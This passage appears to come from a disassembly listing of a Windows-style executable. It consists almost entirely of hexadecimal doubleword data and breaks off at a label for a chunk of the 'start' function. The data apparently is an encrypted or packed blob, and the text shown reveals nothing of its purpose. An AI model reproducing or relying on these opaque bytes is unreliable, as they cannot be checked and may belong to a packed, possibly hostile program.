		dd 81442E86h, 0EE23074Eh, 8043E57Ch, 1C7E4B2Dh,	0F6015505h
		dd 0A8CD356Eh, 10DE2052h, 3230A19Dh, 6614208Dh,	0E3F0B72Dh
		dd 0D071BA3Ch, 0B1001D9Bh, 0E456348Eh, 4C6F164Dh, 419F44B3h
		dd 51EFA0B8h, 1DE823D8h, 4E414111h, 7AF8E6C5h, 1713D6C4h
		dd 60DC764h, 4182DDFBh,	2E9C2A00h, 0AECB8E62h, 0BD95013Bh
		dd 8B7BA744h, 3747212h
		dd 0A2215F57h, 0E1A90033h, 7F02E961h, 0EC00C1F9h, 9087011Ch
		dd 26DBA038h, 7A84D78h,	38752DE9h, 1135D080h, 1A1AC19h
		dd 52997FE0h, 310E090Fh, 8ECC114h, 9C748881h, 2A038F7Ch
		dd 0FCD49835h, 179C0E5h, 0F3A83760h, 7A07D031h,	5CEA9532h
		dd 74219A25h, 0F4AA0006h, 6EB5C29Ch, 0CB02331Dh, 0F3B77B01h
		dd 9450A2EEh, 0F2AAC834h, 22F898F5h, 507B903h, 0E5BF8AEEh
		dd 7B6F2501h, 801C3BE8h, 0DF00FB19h, 0E9CEA7D5h, 0B23C83h
		dd 0DEF3C356h, 0C168F484h, 0E5D44013h, 6D83D430h, 0A40958C4h
		dd 4E04A102h, 6C6851A8h, 0AF00520Ch, 2597E0Fh, 0F185626h
		dd 4A61D3B1h, 452D4BC0h, 0B400EDD7h, 0F76C1AA0h, 0AACF42Ah
		dd 7CDD3B11h, 40479CE4h, 0B4516628h, 95001008h,	3E650573h
		dd 0A8B26E83h, 0FBCDCh,	0DB38F3D8h, 0AC2D1555h,	1D801CB1h
		dd 0F2906BC5h, 1BE30041h, 0B23B8DA8h, 1F01A491h, 65589DD4h
		dd 4428B636h, 0C8C6E980h, 1352ADDCh, 92F400DCh,	31E50D1h
		dd 9BC400EEh, 2ABD0712h, 94135DEFh, 0D820E443h,	1F76E88Fh
		dd 34B1FBh, 0D94EBA35h,	1C0C37ECh, 288E45A5h, 73FA0074h
		dd 89653CFh, 8F2C14A3h,	2B028D29h, 64DD325Eh, 9D0E1CF4h
		dd 9C50C030h, 526F6167h, 90543300h, 0CA6C65D4h,	304802ACh
		dd 0D6A480E2h, 0E887F8A0h, 990E1A86h, 21C20F84h, 0C6D50A7Dh
		dd 1C022866h, 0FED00166h, 0E7F61048h, 35A930E3h, 4CD39h
		dd 0F97E2A28h, 0C668BF8h, 0F2A8C2BCh, 1700BE41h, 1A94395Fh
		dd 38F8CAC1h, 0F501C83Dh, 134BD036h, 84324Dh, 7B040D3Bh
		dd 6F62Ch, 3C029003h, 0D2777F1Ah, 0BC356C00h, 6B3BAD29h
		dd 809860AFh, 7CE2FCC3h, 0FE209600h, 3A53A8E0h,	0B4B706F3h
		dd 89F59D9Eh, 0B000BA7Bh, 3D28DD25h, 206576Dh, 58FA97FCh
		dd 80C49DDCh, 34CDA130h, 308E9h, 0EC25670Fh, 58D4F7F1h
		dd 0F8065E29h, 954C9E00h, 0A4DD7462h, 3A6500ECh, 0A0F5D680h
		dd 0A850548Ch, 1707FF40h, 0D163686Eh, 3477BAF0h, 96C40B5Eh
		dd 0FC81F2CCh, 1030DDEAh, 17C0CFh, 804242Eh, 9ED91149h
		dd 7519D100h, 35303B41h, 40DE4AD4h, 0C25B9344h,	0BD099AD8h
		dd 55F82A20h, 0EDE7F201h, 0CD043081h, 0A071C78h, 34F5F9ACh
		dd 4290A29h, 0BBF32D81h, 0D42853D6h, 9AA94B80h,	4F003F94h
		dd 6E65595Bh, 1A298AAh,	2A165171h, 4C1360EBh, 9F003AE0h
		dd 6ED197B7h, 178E2Dh, 32EDC1BEh, 9F9CE57h, 0F3F680C0h
		dd 65331A1Fh, 0C0F11042h, 5853C3F4h, 317097E8h,	8F08F17h
		dd 5C5D5C21h, 6344A640h, 22D90010h, 0F8B30BA9h,	0C73FB96Bh
		dd 131817F9h, 2DA1CC20h, 4D2E0BB7h, 0E403011Fh,	62F9C66Fh
		dd 0DD18C15Ch, 0E0D848C4h, 4AA31200h, 571D32CDh, 40084ECCh
		dd 2210D718h, 9F09F4D1h, 83DB5Bh, 405168ECh, 40DD4AFDh
		dd 0F472DE98h, 3F0CA48Ah, 417C1307h, 0D2220050h, 0DEC471E1h
		dd 5A1FBE67h, 2142B8EFh, 0AD56687Ah, 0F854389Ch, 20801FC0h
		dd 0BC768Dh, 77A8047Fh,	0CAB1FF76h, 3B26C24Ch, 93E4CCF5h
		dd 3AB5E800h, 0B880E33Eh, 0BC49C0FCh, 0B4A79CB7h, 0AAAEE1Fh
		dd 0C1697A00h, 10FE06Bh, 0A0791A17h, 850C10DEh,	632F108h
		dd 533D5C00h, 58ABBEFCh, 28CE38ACh, 17CCFA00h, 421ED5FEh
		dd 18E4D373h, 5AE68460h, 0E4CA1F50h, 823700D8h,	0D1F45F8Eh
		dd 0FA81F4C0h, 14AAF93Bh, 548D386Eh, 0D2E8E100h, 0B601F287h
		dd 0EF408896h, 16AC1C3Dh, 8105E96Ch, 299D47D0h,	0AE0C008Ch
		dd 0B95418E1h, 3B77D72h, 0F5478680h, 49014C03h,	0C6B07535h
		dd 0C0EE5281h, 89C864h,	0CB4402A6h, 0E3FA334Eh,	3130C1C0h
		dd 0AB7FF6h, 3924018h, 9D66EAB4h, 0E57EEB07h, 0FFB6B86h
		dd 3B5F036Fh, 0C61900ECh, 21958875h, 0FC002C03h, 77E267C0h
		dd 7687FA1Bh, 0A7040085h, 0F5FB4AA0h, 39C07898h, 3BA5312Ah
		dd 8B11C082h, 5C43BF16h, 92586400h, 0A5059D53h,	276D1EDCh
		dd 71700185h, 0C20A284Bh, 4C932540h, 1B8F4800h,	77A5734Eh
		dd 1D87046Ch, 0C07D9B5Bh, 1E0FCF72h, 7960E963h,	78F2CBE0h
		dd 204160C0h, 0ED9D4B21h, 0C822D3Ch, 8265A1Dh, 29E90357h
		dd 8464F634h, 0E119A100h, 0A21E5A05h, 28EE05C1h, 203A6034h
		dd 44BDE90h, 10AB9005h,	6C0167F6h, 46DF6B23h, 31F5FCE8h
		dd 0A4198769h, 549980E8h, 0C2513E7Ah, 19E930F8h, 4E2124E0h
		dd 601ACC3Fh, 73642530h, 0A91000BFh, 0E472DBC6h, 10A0C80Ah
		dd 75001EE8h, 845E35F4h, 94031Bh, 936EF01Ch, 4297F62Eh
		dd 0DC050A03h, 0F6F3826Fh, 7C780038h, 8F53C00Ch, 0AE0062BEh
		dd 83F477FFh, 3952D246h, 2A0078FBh, 5E5B4B4Dh, 60A23BAFh
		dd 0F4552680h, 0C100B415h, 11B21D5Ch, 6082B339h, 4FD361F5h
		dd 1B00590Eh, 222CBF37h, 3D453C15h, 0E10A27DCh,	85C8F066h
		dd 3A74365h, 99961DB7h,	5F5D03B0h, 0E7F435EAh, 0E003C92h
		dd 0AFAD6F63h, 1D360ACFh, 46B40810h, 99883BB0h,	4BB5481Eh
		dd 0A5352CC0h, 509DBDh,	0D217469Eh, 6787DD3Ch, 451B860h
		dd 0AEF9228h, 0EDA341B1h, 564A83C8h, 87E80BDAh,	0E058349Dh
		dd 618F306Bh, 570BB0Eh,	3E41B68Bh, 0F9880F4h, 5503D874h
		dd 0FDEB03BCh, 9541445h, 5E028238h, 6E884114h, 734C3C80h
		dd 0BB018A50h, 0DA6D3C85h, 6180812Dh, 0C2AE4A22h, 1007DB91h
		dd 647404D7h, 1ECA6F3h,	5B7245A1h, 0CC34E74Eh, 0E058D7C6h
		dd 996A0060h, 0A0EA35E5h, 0BF590349h, 0E12B82FDh, 0B4A0F3EAh
		dd 4D306096h, 8DA67316h, 2C02F00Ah, 0B5C69304h,	71852890h
		dd 883863FDh, 78E83CDDh, 0F472A5F3h, 0D53F541Eh, 0A0CF1E8Eh
		dd 0DFCE6AB1h, 41940F58h, 2D873D0Bh, 40A1F04Fh,	2A70F193h
		dd 0E41F4C00h, 0FC1AE05Bh, 63B3F85Eh, 0AB508FBh, 0E1A5BA88h
		dd 0D5A89C3h, 862AF0CDh, 0EA530076h, 5D34DBAEh,	0A3320A6Ch
		dd 989129E3h, 506698D0h, 131ACFDh, 1A924151h, 710D5F94h
		dd 0E0318EB5h, 0E406D23Dh, 52E9C46Ch, 3807EC2Dh, 0D1950708h
		dd 0E07C7DBCh, 0E400D22Eh, 9AECB7B1h, 28481E04h, 0E40A606h
		dd 0C958EF7h, 97246620h, 0E454C7FCh, 1B03F5B4h,	0A85DAC75h
		dd 0A49CE0C0h, 2510A8CDh, 0AD1D00E6h, 31488292h, 89C38604h
		dd 0C0C70F14h, 1D010572h, 6C09564Fh, 0F5FD04F5h, 86C08867h
		dd 28ED6E24h, 7A11ACA4h, 31ACF90Fh, 66AD03E0h, 54005358h
		dd 6AFE5D5Ah, 7198CE4h,	0B8758F9Bh, 4F25A293h, 1E636C60h
		dd 0C50A900h, 0A35E9DA7h, 0C80B1874h, 91959C2h,	0BFADD001h
		dd 9FC0BDF7h, 1A03CC8h,	77FCDAB1h, 0C009C640h, 921F4962h
		dd 1DC1935Fh, 0E7A63075h, 0EC59850h, 0F080034h,	235D3A15h
		dd 37133CD3h, 1842E683h, 805E2613h, 0D00F6AF4h,	8C84050Ah
		dd 80D2A7DDh, 536789FEh, 372FC0F7h, 64520D90h, 698613E0h
		dd 0DC73C21h, 9B92B980h, 0BAB49C06h, 22C20504h,	80C88430h
		dd 0AFE603h, 0FC68DF3Dh, 4F20C5FFh, 0A22ABF00h,	0A919D380h
		dd 7507708Dh, 8F1A015Dh, 1333B7DAh, 0DE113F3Ch,	4F2C75C0h
		dd 0F4034A6h, 3B236CAAh, 0FA1A3274h, 0A80719CBh, 150048E9h
		dd 0E3E0E7DEh, 2180E7A5h, 8C6D9777h, 7001230h, 64C25C57h
		dd 58E350h, 60A3E26h, 0BC651C37h, 86F660B2h, 0C0461D00h
		dd 67E0B41Ah, 0C61C4E7h, 0FCEC881Eh, 6F0D5C00h,	88815AA5h
		dd 0E19D266h, 31409944h, 36484A4Dh, 0A2925D14h,	0F9C7071Ch
		dd 6961B781h, 0BFC883B6h, 0F0B35023h, 2AB8E0A9h, 0ECB4C3C7h
		dd 681100EDh, 0B32FD286h
		dd 4C00250Ch, 169DD1EEh, 4FAE7C8h, 32994E3Ah, 3640C033h
		dd 0A8C88705h, 7B80BAF6h, 0F9255284h, 1498329Bh, 65439900h
		dd 6CB09370h, 7E60ECCEh, 1BB84C59h, 0A6556203h,	413C7FBBh
		dd 0DFF50015h, 0DB8E3C25h, 51AA000Ch, 103BB82Eh, 0FCA8EF83h
		dd 0B002567h, 5D408859h, 0B849DCE8h, 3A7F73E8h,	4A4D6C0h
		dd 0D0DB40B4h, 28E87C66h, 0CC9D4800h, 14A3331h,	0AC575059h
		dd 0EE363B45h, 0BEEBACh, 0F1CA7E1Dh, 2312F35Bh,	0E001E337h
		dd 0F4828D9Ch, 1B6D8180h, 0DD4BEE93h, 0DA33B100h, 5EA6E801h
		dd 74E61359h, 6DA405AEh, 0A3F000F7h, 79038823h,	2500C4B0h
		dd 6A5AFF93h, 98A587BDh, 2830F623h, 3EACBF98h, 85873833h
		dd 41F7B103h, 5039E12Ah, 0B33D7EF8h, 89E98330h,	3674AEh
		dd 204EE308h, 0BA947B38h, 18686B00h, 0AAAF60B9h, 8BAB1E1Dh
		dd 509FCA88h, 546A0090h, 39E0FF6Fh, 0BC2C6891h,	0CC67AC07h
		dd 0BCC23014h, 62091004h, 0CA884C3Fh, 9B732020h, 8FC00138h
		dd 0F6266B70h, 1432A1h,	3654D0A4h, 0A09D5D42h, 30397ACh
		dd 0E4CD6B39h, 4BD03DB4h, 55038C36h, 0ED44FAA7h, 0E5F9B872h
		dd 0E0EE0DCCh, 0F399E602h, 373878F8h, 5C88C564h, 0A1E5DC82h
		dd 729AF580h, 85A1F451h, 9670A19Dh, 9F390069h, 0AD0615A9h
		dd 92441A00h, 998E4FECh, 0A2AB2E7Ah, 0D41D40E0h, 1100DF3Ah
		dd 6BB82B8Dh, 53D4A2Ah,	8718FE54h, 5C7C036Dh, 713BE93Ah
		dd 0BED500FCh, 1517E7C5h, 884500D6h, 0DDAA4B65h, 922CE2B6h
		dd 0CD4118C6h, 48D8B493h, 0D8CB0BEFh, 7801B374h, 60C8AA49h
		dd 0DC00A67Ch, 52479B36h, 2D12C4h, 5A484D09h, 0B07FF5F2h
		dd 3D2F6A00h, 967C2B03h, 0AC849928h, 4EB4005Ch,	4988C1AAh
		dd 1056D300h, 5E0C2FA2h, 3D3400D1h, 58619E93h, 0DF4FAB8h
		dd 84141D4Ch, 0D080600Bh, 765F51Ah, 7A1FDC35h, 3B5FC1BAh
		dd 72F183EBh, 84AFB6h, 51EE6A7Eh, 0A28F8242h, 0F6962C12h
		dd 483A880h, 935A007Ah,	3A9FD852h, 500E088h, 0E1531B24h
		dd 1C7C674h, 42ED4B4Ch,	11833B64h, 0D20C0F8h, 72FD0B0Ah
		dd 4800964Fh, 0F5DA7F57h, 29C0E190h, 8C96D23h, 0E0604C88h
		dd 87CE1281h, 0FE80176Bh, 0E00BBB07h, 0E6C50526h, 823CFC6Ah
		dd 0CC405E94h, 4D58652Ah, 0C09E0612h, 0B039EA82h, 0B7670731h
		dd 7E6C3850h, 85D09052h, 0AD001357h, 891EE6EDh,	0F4942A92h
		dd 10480173h, 82B7D902h, 0C84980E0h, 85F5EF21h,	0FE6700F1h
		dd 0E76A35C3h, 97D0CBBh, 841DA9C0h, 5DA8605h, 0B7614CFFh
		dd 5EA00903h, 57430481h, 505ADE29h, 1AE2E401h, 565AA205h
		dd 50A1AC44h, 2C67F8h, 0AF243FF3h, 54AC8409h, 8146443Ch
		dd 31379862h, 0B44872F6h, 8E0A5C19h, 4C1FF002h,	9C44A593h
		dd 0FE0DA700h, 0B71AD8D1h, 3972004Fh, 1347466Eh, 0B57AF3A8h
		dd 498E3A30h, 168CA95h,	0B2E78532h, 30C7D274h, 2A0007BDh
		dd 98235873h, 98D08257h, 0A41C5434h, 9B300A8h, 6A55DA37h
		dd 570E8EFDh, 800D566Ch, 42994D5Ah, 50E14483h, 0F2006071h
		dd 8DB6F9F6h, 0B1A3635Bh, 0D72303B8h, 1988514Fh, 620078C2h
		dd 420CA6D4h, 261A9A68h, 3C0346Dh, 3E7E99ABh, 2A5600BFh
		dd 0FD48534Eh, 54C21224h, 3ACC88h, 0CAD6CED8h, 0F5C988A8h
		dd 0A5844B16h, 40775022h, 2C19BBh, 5A65487Bh, 0AC45E770h
		dd 0A7E6C82Eh, 25C1C61Ch, 2DA942ABh, 7D610880h,	826E449h
		dd 0EE3FE9F4h, 0DDFE80C8h, 8769B02Dh, 952A0EE7h, 0C323C9E0h
		dd 0B9A8E6A0h, 4200DFFBh, 0AB2498B7h, 32B1E2Eh,	0E02635CEh
		dd 0C0F70DE1h, 34D4CD62h, 0B1B67C02h, 8090D81Ah, 66195D40h
		dd 4FD200F4h, 0E2E0E9E7h, 0B3002DFFh, 0DB550A93h, 5CD597h
		dd 702AF7E1h, 39A0E99Fh, 42706163h, 78B59B88h, 23CB0CC0h
		dd 2AD193B7h, 0A0CD2600h, 71CCE736h, 2E7C0048h,	88FA38ECh
		dd 400A13Fh, 0EF06DFC8h, 6CC52C02h, 0C459ACA0h,	527EC20Eh
		dd 2872E72Bh, 0FDDEFF00h, 10320338h, 0A9A48BEDh, 0EA2A7900h
		dd 73D4EF51h, 0A03D0C0Fh, 0FF49992Eh, 0B12D3218h, 0DE0DB9B1h
		dd 9C5C14F9h, 3B7CA8C1h, 2971CC81h, 0D71B6C00h,	0C55E0E2Ah
		dd 0BB1601CAh, 0D33F0C79h, 98C44072h, 68D09DAAh, 0C8030358h
		dd 0A0BA4E40h, 0D7D1305h, 948A811Eh, 0B4B3F821h, 785A5F07h
		dd 0C18FE720h, 2EA94C0Ah, 0D3F19180h, 0D9A8906Bh, 0A1D41B00h
		dd 5B580853h, 0D82506CBh, 0C9AF42E8h, 635E5901h, 6F1C57Bh
		dd 4C5DC8ECh, 1C70BEC9h, 3D1E3AAEh, 8028433Ah, 8B880898h
		dd 8483A3B2h, 9793A1C3h, 135F9A60h, 0A43200B8h,	0FDDACC95h
		dd 0C90F31A9h, 0C4B9535Ch, 348252F7h, 357540E5h, 912D03FAh
		dd 0F020FE02h, 0BEA1081Eh, 0E538FF01h, 0CC48B38Bh, 0C43152A0h
		dd 0EE9C0128h, 0CA67152Dh, 7C007CBEh, 0C7BD5560h, 8A04CD5Ah
		dd 0A9AC22F6h, 812488h,	71E99ADAh, 56B357CBh, 8044BA39h
		dd 0A0A1DB35h, 30C07F1Ah, 0BB3139A9h, 0B200A7DFh, 0B7DA2491h
		dd 7E7DD53h, 2CF05915h,	0D0440078h, 236632FCh, 48E8ABA9h
		dd 8B2240EBh, 5130B630h, 7E8CF2Eh, 3FDFE80h, 8BBBF162h
		dd 2D298097h, 4E6AA59Eh, 0E9CE00D7h, 149660F7h,	1170EDEFh
		dd 5262930Fh, 0C831788Bh, 0DC6C00F2h, 77720F3Fh, 0AE149EF9h
		dd 76900D14h, 0CB214C14h, 12E33AB8h, 5854288Bh,	5A9F0000h
		dd 9261DD31h, 0C9360E86h, 0AC0F16Eh, 0D53EEA4h,	8AED4604h
		dd 988023CAh, 1C17D5CFh, 4215BB56h, 0DFC9A00Ah,	391C5440h
		dd 0C372D3FCh, 0FAF4B100h, 892CE705h, 0E8B6488Bh, 0F9F72D80h
		dd 35245E6Bh, 1F392C3Dh, 7CD5F2F8h, 0F716029Ch,	42EFC19Ah
		dd 1FFC9034h, 0C970CDh,	7F7081F3h, 3F1D63D0h, 18D2C200h
		dd 0F1697CFAh, 0A2433778h, 132C2049h, 75047DBCh, 0B8FAD6Ch
		dd 27696E80h, 25C91E3Dh, 4CDB07D4h, 0B8DEC00Eh,	5303FAE1h
		dd 0CACE4F39h, 922C3B9h, 0B843C481h, 6757EC20h,	9F00F2ADh
		dd 6DF30C32h, 375BDACh,	634C2A9Eh, 26E959BFh, 9C89A043h
		dd 7365AE1Ch, 6B1BFB01h, 0AF003D25h, 82EE2CF3h,	0A542C518h
		dd 118731h, 947D4B68h, 25888D5h, 0F5EEE4A1h, 187420B6h
		dd 0B9BF4606h, 0A12614h, 0C686D831h, 0F55B665Ah, 87CC5048h
		dd 1A20A8AFh, 3F24302h,	2BFB1246h, 0D4F28353h, 0FBEAE441h
		dd 0BD59A6D0h, 0C4A420F0h, 0EEC7F504h, 44C77460h, 32D8A5A0h
		dd 217D6E21h, 5440200Fh, 3CC802E2h, 4F63580Ch, 1DA179ACh
		dd 0C0186945h, 0D9E9648Bh, 79486A30h, 0D44900F8h, 21F822F3h
		dd 54A61D2Ch, 0A9E506E8h, 1400D195h, 57C639B7h,	6EE135h
		dd 2B6A8E8Ch, 0D058C269h, 2167AB00h, 0B9BDB812h, 13FC91E0h
		dd 0D714234Fh, 43EB318Fh, 2444EA8Eh, 0F513DF00h, 3A17EADEh
		dd 4EE0003Fh, 586BBC80h, 5A00E19Bh, 0DA4FDDD0h,	808A8B84h
		dd 0C3FDF942h, 52D081F3h, 7A03709Eh, 0A40F32FAh, 3D7381F1h
		dd 0E100FC33h, 22DC92B1h, 97079067h, 80C7AC29h,	404D606Fh
		dd 0FA54FF2h, 0F0EF10F1h, 0B38837C1h, 1EB981AAh, 454D86CCh
		dd 0F4A52024h, 0BE720FD0h, 0C080EFAAh, 63D48223h, 34389704h
		dd 0C4C4B848h, 12EE908Dh, 0C82B4487h, 0F2151084h, 0FB697C83h
		dd 0C5FFA83Eh, 0EC1B4C0Fh, 0E880F27Ah, 0A8B3176Bh, 0B11CFFFCh
		dd 8011198Eh, 0E6F488DBh, 40353043h, 1AFB4930h,	61AE5030h
		dd 29DD707h, 8972F91Fh,	4881B4AFh, 9162D3C9h, 3046C98h
		dd 80BB3DAEh, 60D64D1Ch, 0CA123F03h, 9BD2938Ah,	96290E65h
		dd 4B801E7Bh, 0B61457FCh
		dd 0D11CC899h, 0C675B80h, 8263B9h, 445EC094h, 0A9F1B552h
		dd 43AA9000h, 780FFFF6h, 3849486Bh, 704AB860h, 0A14450FAh
		dd 0F15B07DFh, 1FAB68h,	8BFBC947h, 0C5F67102h, 0A07B4D01h
		dd 532381C4h, 6D2A0E07h, 0D34F78E4h, 3A5611A0h,	1E0B77E1h
		dd 87C58669h, 0EC64D9A4h, 0A4E50Ah, 0E4CEF7EFh,	17005818h
		dd 0F85F71C8h, 52325D7Eh, 0C20CD034h, 1180DAA6h, 8ABA0116h
		dd 91C01C20h, 0B7BD00A5h, 0F0EC67BBh, 97FAA086h, 60581330h
		dd 30D4C74Fh, 18815B59h, 0CA01C8C4h, 5DDA3F2Ah,	0C9804450h
		dd 86BA8078h, 0E00AFD5h, 6C2B01Bh, 3A3E3616h, 7C80EA90h
		dd 5C11E7F8h, 0A018D6C8h, 0EE896325h, 4E02014Dh, 0B9F1A82Fh
		dd 124036EFh, 3C9080E9h, 1D42F3Eh, 4F91A46h, 82A0501Ch
		dd 193CA9E9h, 5CBC9EB0h, 0DC04861h, 22983139h, 0BAF11003h
		dd 0C837CC8Fh, 0E3EF11h, 11F6AFEh, 199F45DDh, 2870ED48h
		dd 0D61680F8h, 90302097h, 39E3C6h, 3152E945h, 7F4D0E05h
		dd 88CD88A8h, 1B7CAE04h, 0EBC0792Fh, 24490B45h,	8ED1DCh
		dd 10C50402h, 0A11D25F0h, 0A60FBDE8h, 423A9AEh,	156AA74h
		dd 0CA0AFB6Ch, 5297E8C2h, 0E70950E0h, 80564CDDh, 551886B4h
		dd 3528C0B7h, 39DF5BAh,	5B755104h, 28A42732h, 3C7001C3h
		dd 0E74F49CEh, 3241C812h, 30B32226h, 0B4B66C8Ah, 92B0874Fh
		dd 6B463310h, 0BC5F2843h, 25EFA084h, 24504CA7h,	98891380h
		dd 0C160EC14h, 85346CA2h, 8AD600A7h, 5591DEE8h,	1E0240B9h
		dd 6C8F04FEh, 915C431Ch, 0D040B1FCh, 0CAA252FAh, 63FC17E8h
		dd 0F2C09610h, 980E8D2Ah, 2057EFAh, 517233FDh, 55C800DCh
		dd 2684EA11h, 0F25B3200h, 663A8CBh, 0F9F83E51h,	16EC66A8h
		dd 20922DFh, 2715B9E4h,	99686848h, 3F8BCE17h, 0F8385C47h
		dd 755287B0h, 97C800ADh, 8B467FF0h, 6F04B24Ah, 90C4A399h
		dd 57E0C8h, 0AC64DDFCh,	0BA6AF103h, 3AA21401h, 6CDB8F5Dh
		dd 4875D060h, 0BD80748Bh, 0DE32C982h, 117C9200h, 2031D7F9h
		dd 0AFA52A89h, 0CCB80EF8h, 0AAEA6675h, 0D44E80CCh, 69BBBAE5h
		dd 0BC36170Fh, 0C29C2029h, 4DDA22h, 2AA964DCh, 9AEFCBC1h
		dd 82F9543Fh, 31765719h, 38D46C26h, 0BFBDC933h,	143DE0Bh
		dd 8BF1A480h, 28146A19h, 4C44C789h, 602538A8h, 34CBB958h
		dd 3514286Dh, 6E8E009Ch, 0ECF8111Ah, 24007217h,	9EF02A40h
		dd 2E0C5C98h, 40CCB289h, 0B412DE25h, 0EDC078DDh, 0BCB79E2Ah
		dd 0FE170068h, 8FC3F341h, 702DEADh, 962CCE94h, 0C44C4238h
		dd 0C4C90218h, 0B70AA61Dh, 583E7452h, 7AC6BE87h, 5FDE4102h
		dd 21898BCAh, 0C01C8FC2h, 59014396h, 2CFDF312h,	147080EDh
		dd 0E7DF0E25h, 18729D13h, 0B1A70A0h, 34B72818h,	1F8E9561h
		dd 3205B83h, 70F66A22h,	4087DFD1h, 6207C880h, 47E2AE18h
		dd 138C731h, 7A1CC1F4h,	0ED581511h, 2CC180AEh, 80C6534Dh
		dd 852F0F81h, 0F30713B9h, 31C3A097h, 502A51EBh,	4A0B98ADh
		dd 8445101Eh, 3C08243h,	7E36F970h, 0C55701A4h, 50D001A0h
		dd 6D3184A8h, 8AC07419h, 18E85104h, 0D8F98F2Bh,	4A6080E5h
		dd 0DEC541A1h, 340E0BD9h, 0FC8127ECh, 0EFE47292h, 48988085h
		dd 3224C39Dh, 0EDC41829h, 81448Ch, 0FC750FCAh, 0E4EECF3Bh
		dd 8E89031Ch, 69CE0E5Eh, 18B22A21h, 45D91680h, 0C0137Ah
		dd 4765DE5Bh, 0AE6DF84Bh, 58315F2Fh, 81CC91B4h,	3C96E019h
		dd 0C155EC32h, 17A2B209h, 0E594023Dh, 0DE7060EFh, 0B8C49442h
		dd 89500600h, 5D7A1E7Dh, 8606F7FEh, 0C78BA12Ch,	1314B0F9h
		dd 0BEA57001h, 0DE3D8403h, 2B40A046h, 0F604019Ah, 0C5872A12h
		dd 8E4C7057h, 4287F3Ah,	5B3E32DDh, 17E59080h, 11F8E80Ah
		dd 0FAAB08Bh, 0F809AE1Eh, 17F4FC69h, 309516B6h,	32F1E8D8h
		dd 0D70E0FECh, 0FD3F9D43h, 0E02A8C8Fh, 74EDF448h, 0BE4B04E6h
		dd 0C8431612h, 650087D4h, 0F856DB59h, 13B5D832h, 407A4D26h
		dd 90D1C9B8h, 2D01B39Eh, 0ED9C3744h, 0D8FF11CCh, 245B6FECh
		dd 614CE5B9h, 0C44B5564h, 0B633699Fh, 8FF5192Bh, 0DFF92ED0h
		dd 0C432095Ch, 0B4E98B33h, 0BAFEC435h, 0A6BCDA00h, 0DE093A44h
		dd 46490037h, 0AA65F925h, 141C7A74h, 74E6F258h,	0F889181Ch
		dd 81900056h, 50D3D047h, 138DA0EEh, 81CB3C84h, 3924A0D0h
		dd 0A0B62948h, 0D6B25D01h, 6C70A880h, 971400F8h, 3BA58725h
		dd 0EF0117F5h, 36F6A12Ah, 4C703DE1h, 0D0B61A62h, 0B82046D4h
		dd 0D7F15D20h, 60FF3002h, 605B1E99h, 18DC8889h,	0A879DFAFh
		dd 8B2EBB1Ah, 0CB44C0ACh, 0E71CCCh, 51923C76h, 0E926F65Fh
		dd 1343E82Dh, 481A8858h, 1E96005Ah, 0B17D911Fh,	11C2F5Bh
		dd 37C08ED8h, 0A325E32Dh, 992A005Eh, 1D1C6E7Bh,	0AC99AC89h
		dd 330DFA85h, 920B5C40h, 6FC34Fh, 11759086h, 2AD30D3Bh
		dd 0A027A3E8h, 0EEDCA0FDh, 3F88F4F7h, 30DC6BFCh, 77ABA04h
		dd 8068C487h, 0B0433C69h, 1C002492h, 249E80Fh, 0E68C937Eh
		dd 62363BEEh, 0BD7B8201h, 2D37E3B9h, 887A2A70h,	3D00FF70h
		dd 0C79EDEB8h, 58CD0D76h, 1275932Bh, 48DEBF0h, 0B09A2794h
		dd 6D184534h, 5E4947B7h, 58842CF3h, 0EEAE0628h,	404C1948h
		dd 3D7E4CBCh, 0BEA1612Eh, 218038A9h, 0C092BA9Fh, 870EA7DCh
		dd 0E06A9ACEh, 13F44179h, 0AC23FB88h, 9D0B0074h, 562C0CBFh
		dd 1600F1F6h, 3070336Bh, 16B1F3D0h, 94BBA09h, 0C498D33Dh
		dd 400B075h, 0C92FE763h, 4CCAC2F2h, 0EEC32872h,	0E0F85A21h
		dd 0F705CF0Ch, 42AC3AB7h, 17F1A820h, 402D39D9h,	0B9442E04h
		dd 0E4A238h, 6F9FD4Ch, 1462007h, 0AAE1296Dh, 0CDF70C91h
		dd 38C33B7h, 4DD0D60Ah,	0BE78D00Eh, 43F80074h, 754028Bh
		dd 0F2399A03h, 1D230B63h, 3DA06048h, 76B090FBh,	926EF053h
		dd 5A140908h, 0E081F62Ch, 2856B16Dh, 65348788h,	0CA009247h
		dd 2230689h, 1E4FBF17h,	0B0594D19h, 9D42C14h, 688BD240h
		dd 7DB0Ch, 0FC1C6A4Fh, 2FA54325h, 0E363B200h, 0AAC38521h
		dd 0DAD402D1h, 47263233h, 0F81218C4h, 5884B960h, 7E5AD830h
		dd 0E21F003Ch, 993F83F9h, 0D17CDFEEh, 0C280B703h, 0EC7DC70Bh
		dd 2A008CE2h, 51712BBEh, 5501CE4Bh, 6E116743h, 1863A53Ch
		dd 805B007Ah, 3A7422BCh, 1801C098h, 19CD730Eh, 20722D32h
		dd 0DCAEC800h, 0FF0374D0h, 0B70BD513h, 90503C20h, 0D04556E0h
		dd 8B825500h, 4FCDC1B3h, 7600727Eh, 0B4AABF86h,	28915130h
		dd 0CC15E9h, 225BA6AFh,	113C69EEh, 7A33EF05h, 0B0800E4Fh
		dd 0A66A6F8Bh, 0D10D0384h, 69EC307Fh, 0F52950F0h, 0A8185C2Eh
		dd 3ADB2E00h, 2555F683h, 84200AB9h, 3464CA4h, 21A8AE48h
		dd 0CB3F0414h, 26BC8C6Ch, 0C55F2902h, 0E6698E27h, 6D3C0064h
		dd 8F8C54FFh, 4B000429h, 0B46F392Ah, 1302BECAh,	525FBh
		dd 0ADC3650Ch, 0A05E2DEFh, 7054F420h, 981C090Fh, 1D0A55A8h
		dd 6C784030h, 321C844Eh, 92C77F63h, 0C09512EBh,	0FC803984h
		dd 13D35B82h, 2896957h,	253E9008h, 8B5E6600h, 0E60100D6h
		dd 0F2BD840Bh, 7D0E4722h, 6023D319h, 0BBC9A0DFh, 526207C8h
		dd 0C0791521h, 0B9D1FAEEh, 0A1C0E176h, 0EF2873ADh, 0F4460BEDh
		dd 90AF70FFh, 98063FE9h, 7C9C11F7h, 0A9ED8140h,	2390034h
		dd 4BB0C0B8h, 890335E8h, 0D44199B6h, 5AFEE8BFh,	3258097Fh
		dd 70107C28h, 0D10008EFh, 2935EE7Bh, 486E9D1Ah,	0F1C09C84h
		dd 0A1E67C04h, 0D5DF800h, 0FD32D67Eh, 76720A0Bh, 5F01CC1Eh
		dd 6CFFFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4FA844:				; CODE XREF: start:loc_48F265j
